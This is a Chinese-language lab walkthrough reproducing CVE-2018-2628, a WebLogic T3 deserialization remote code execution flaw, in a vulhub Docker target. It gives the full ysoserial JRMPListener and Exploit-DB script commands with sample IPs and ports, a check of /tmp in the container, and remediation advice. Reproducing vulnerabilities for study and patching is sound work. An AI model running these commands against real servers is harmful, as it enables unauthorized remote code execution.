漏洞概述:
在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。
影响版本:
Weblogic 10.3.6.0,Weblogic 12.1.3.0,Weblogic 12.2.1.2,Weblogic 12.2.1.3
基本原理:
序列化:序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。(通过ObjectOutputStream类的writeObject)
反序列化:就是把字节流恢复为对象的过程(通过ObjectInputStream类的readObject()方法)
RMI:远程方法调用(Remote Method Invocation)。简单来说,除了该对象本身所在的虚拟机,其他虚拟机也可以调用该对象的方法。
JRMP:java远程消息交换协议JRMP(Java Remote Messaging Protocol)
漏洞环境:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
主机作为服务端。(本人主机win10)
漏洞检测:
使用t3服务。
复现过程:
1.开启监听服务JRMPListen,服务器端使用ysoserial(下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta)
利用ysoserial的JRMP对1099端口监听
命令:java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [监听端口] CommonsCollections1 "命令"
2.利用exploit脚本攻击(exploit脚本下载地址:https://www.exploit-db.com/exploits/44553)
命令:python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]
#目标ip就是weblogic的ip。端口weblogic的端口
#ysoserial路径就是上方使用的ysoserial的路径
#JRMPListener port为主机端口,就是我使用的win10,监听端口上方1099
#JRMPClient]执行
最后构造:python exploit.py 192.168.220.131 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.2.5 1099 JRMPClient
这里碰到一个问题,利用exploit时报字符集的错误。
chcp 65001
set PYTHONIOENCODING=utf-8
上面两条命令即可解决。
3.查看是否创建成功
进入靶机:执行以下命令:
docker exec -ti cve20182628_weblogic_1 /bin/bash #cve20182628_weblogic_1是我的docker靶机名
ls -al /tmp 查看
漏洞修复:
关闭T3服务,或控制T3服务的访问权限(临时)。
打官方补丁。